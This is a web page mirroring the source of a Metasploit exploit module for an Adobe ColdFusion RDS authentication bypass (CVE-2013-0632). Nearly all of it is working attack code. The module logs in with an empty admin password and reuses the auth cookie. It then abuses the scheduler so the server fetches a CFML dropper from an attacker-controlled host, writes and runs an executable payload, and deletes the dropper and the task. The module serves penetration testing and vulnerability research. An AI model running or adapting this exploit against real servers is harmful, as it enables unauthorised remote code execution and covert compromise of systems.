Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/coldfusion_rds_auth_bypass.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::EXE
11
include Msf::Module::Deprecated
12
13
moved_from 'exploit/multi/http/coldfusion_rds'
14
15
Rank = GreatRanking
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Adobe ColdFusion RDS Authentication Bypass',
22
'Description' => %q{
23
Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote
24
attackers to bypass authentication using the RDS component. Due to
25
default settings or misconfiguration, its password can be set to an
26
empty value. This allows an attacker to create a session via the RDS
27
login that can be carried over to the admin web interface even though
28
the passwords might be different, and therefore bypassing authentication
29
on the admin web interface leading to arbitrary code execution. Tested
30
on Windows and Linux with ColdFusion 9.
31
},
32
'Author' => [
33
'Scott Buckel', # Vulnerability discovery
34
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
35
],
36
'License' => MSF_LICENSE,
37
'References' => [
38
[ "CVE", "2013-0632" ],
39
[ "EDB", "27755" ],
40
[ "URL", "http://www.adobe.com/support/security/bulletins/apsb13-03.html" ]
41
],
42
'Privileged' => false,
43
'Stance' => Msf::Exploit::Stance::Aggressive, # thanks juan!
44
'Platform' => ['win', 'linux'],
45
'Targets' => [
46
[
47
'Windows',
48
{
49
'Arch' => ARCH_X86,
50
'Platform' => 'win'
51
}
52
],
53
[
54
'Linux',
55
{
56
'Arch' => ARCH_X86,
57
'Platform' => 'linux'
58
}
59
],
60
],
61
'DefaultTarget' => 0,
62
'DisclosureDate' => '2013-08-08',
63
'Notes' => {
64
'Reliability' => UNKNOWN_RELIABILITY,
65
'Stability' => UNKNOWN_STABILITY,
66
'SideEffects' => UNKNOWN_SIDE_EFFECTS
67
}
68
)
69
)
70
71
register_options(
72
[
73
OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', "" ]),
74
OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
75
]
76
)
77
78
register_advanced_options(
79
[
80
OptString.new('CFIDDIR', [ true, 'Alternative CFIDE directory', 'CFIDE'])
81
]
82
)
83
end
84
85
def check
86
uri = target_uri.path
87
88
# can we access the admin interface?
89
res = send_request_cgi({
90
'method' => 'GET',
91
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),
92
})
93
94
if res && res.code == 200 && res.body.include?('ColdFusion Administrator Login')
95
vprint_good "Administrator access available"
96
else
97
return Exploit::CheckCode::Safe
98
end
99
100
# is it cf9?
101
res = send_request_cgi({
102
'method' => 'GET',
103
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'images', 'loginbackground.jpg')
104
})
105
106
img = Rex::Text.md5(res.body.to_s)
107
imghash = "596b3fc4f1a0b818979db1cf94a82220"
108
109
if img == imghash
110
vprint_good "ColdFusion 9 Detected"
111
else
112
return Exploit::CheckCode::Safe
113
end
114
115
# can we access the RDS component?
116
res = send_request_cgi({
117
'method' => 'POST',
118
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
119
'vars_post' => {
120
'method' => "login",
121
'adminpassword' => "",
122
'rdsPasswordAllowed' => "1"
123
}
124
})
125
126
if res && res.code == 200 && res.body.include?('true')
127
return Exploit::CheckCode::Appears
128
else
129
return Exploit::CheckCode::Safe
130
end
131
end
132
133
def exploit
134
@pl = gen_file_dropper
135
@payload_url = ""
136
137
if datastore['EXTURL'].blank?
138
begin
139
Timeout.timeout(datastore['HTTPDELAY']) { super }
140
rescue Timeout::Error
141
end
142
exec_payload
143
else
144
@payload_url = datastore['EXTURL']
145
upload_payload
146
exec_payload
147
end
148
end
149
150
def primer
151
@payload_url = get_uri
152
upload_payload
153
end
154
155
def on_request_uri(cli, request)
156
if request.uri =~ /#{get_resource}/
157
send_response(cli, @pl)
158
end
159
end
160
161
def autofilter
162
true
163
end
164
165
# task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(
166
# instead we use a CFML filedropper to embed our payload and execute it.
167
# this also removes the dependancy of using the probe.cfm to execute the file.
168
169
def gen_file_dropper
170
rand_var = rand_text_alpha(8 + rand(8))
171
rand_file = rand_text_alpha(8 + rand(8))
172
173
if datastore['TARGET'] == 0
174
rand_file += ".exe"
175
end
176
177
encoded_pl = Rex::Text.encode_base64(generate_payload_exe)
178
179
print_status "Building CFML shell..."
180
# embed payload
181
shell = ""
182
shell += " <cfset #{rand_var} = ToBinary( \"#{encoded_pl}\" ) />"
183
shell += " <cffile action=\"write\" output=\"##{rand_var}#\""
184
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
185
# if linux set correct permissions
186
if datastore['TARGET'] == 1
187
shell += " mode = \"700\""
188
end
189
shell += "/>"
190
# clean up our evil .cfm
191
shell += " <cffile action=\"delete\""
192
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,\"/\")#\"/>"
193
# execute our payload!
194
shell += " <cfexecute"
195
shell += " name = \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
196
shell += " arguments = \"\""
197
shell += " timeout = \"60\"/>"
198
199
return shell
200
end
201
202
def exec_payload
203
uri = target_uri.path
204
205
print_status("Our payload is at: #{peer}\\#{datastore['CFIDDIR']}\\#{@filename}")
206
print_status("Executing payload...")
207
208
res = send_request_cgi({
209
'method' => 'GET',
210
'uri' => normalize_uri(uri, datastore['CFIDDIR'], @filename)
211
})
212
end
213
214
def upload_payload
215
uri = target_uri.path
216
217
@filename = rand_text_alpha(8 + rand(8)) + ".cfm" # numbers is a bad idea
218
taskname = rand_text_alpha(8 + rand(8)) # numbers is a bad idea
219
220
print_status "Trying to upload payload via scheduled task..."
221
res = send_request_cgi({
222
'method' => 'POST',
223
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
224
'vars_post' => {
225
'method' => "login",
226
'adminpassword' => "",
227
'rdsPasswordAllowed' => "1"
228
}
229
})
230
231
unless res && res.code == 200
232
fail_with(Failure::Unknown, "#{peer} - RDS component was unreachable")
233
end
234
235
# deal with annoying cookie data prepending (sunglasses)
236
cookie = res.get_cookies
237
238
if res && res.code == 200 && cookie =~ /CFAUTHORIZATION_cfadmin=;(.*)/
239
cookie = $1
240
else
241
fail_with(Failure::Unknown, "#{peer} - Unable to get auth cookie")
242
end
243
244
res = send_request_cgi({
245
'method' => 'GET',
246
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),
247
'cookie' => cookie
248
})
249
250
if res && res.code == 200 && res.body.include?('ColdFusion Administrator')
251
print_good("Logged in as Administrator!")
252
else
253
fail_with(Failure::Unknown, "#{peer} - Login Failed")
254
end
255
256
# get file path gogo
257
res = send_request_cgi({
258
'method' => 'GET',
259
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'settings', 'mappings.cfm'),
260
'vars_get' => {
261
'name' => "/CFIDE"
262
},
263
'cookie' => cookie
264
})
265
266
unless res && res.code == 200
267
fail_with(Failure::Unknown, "#{peer} - Mappings URL was unreachable")
268
end
269
270
if res.body =~ /<input type="text" maxlength="550" name="directoryPath" value="(.*)" size="40" id="dirpath">/
271
file_path = $1
272
print_good("File path disclosed! #{file_path}")
273
else
274
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
275
end
276
277
print_status("Adding scheduled task")
278
res = send_request_cgi({
279
'method' => 'POST',
280
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduleedit.cfm'),
281
'vars_post' => {
282
'TaskName' => taskname,
283
'Start_Date' => "Nov 1, 2420",
284
'End_Date' => "",
285
'Interval' => "",
286
'ScheduleType' => "Once",
287
'Operation' => "HTTPRequest",
288
'ScheduledURL' => @payload_url,
289
'publish' => "1",
290
'publish_file' => "#{file_path}\\#{@filename}",
291
'adminsubmit' => "Submit"
292
},
293
'cookie' => cookie
294
})
295
296
unless res && res.code == 200 || res.code == 302 # 302s can happen but it still works, http black magic!
297
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
298
end
299
300
print_status("Running scheduled task")
301
res = send_request_cgi({
302
'method' => 'GET',
303
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
304
'vars_get' => {
305
'runtask' => taskname,
306
'timeout' => "0"
307
},
308
'cookie' => cookie
309
})
310
311
if res && res.code == 200 && res.body.include?('This scheduled task was completed successfully')
312
print_good("Scheduled task completed successfully")
313
else
314
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
315
end
316
317
print_status("Deleting scheduled task")
318
res = send_request_cgi({
319
'method' => 'GET',
320
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
321
'vars_get' => {
322
'action' => "delete",
323
'task' => taskname
324
},
325
'cookie' => cookie
326
})
327
328
unless res && res.code == 200
329
print_error("Scheduled task deletion failed, cleanup might be needed!")
330
end
331
end
332
end
333
334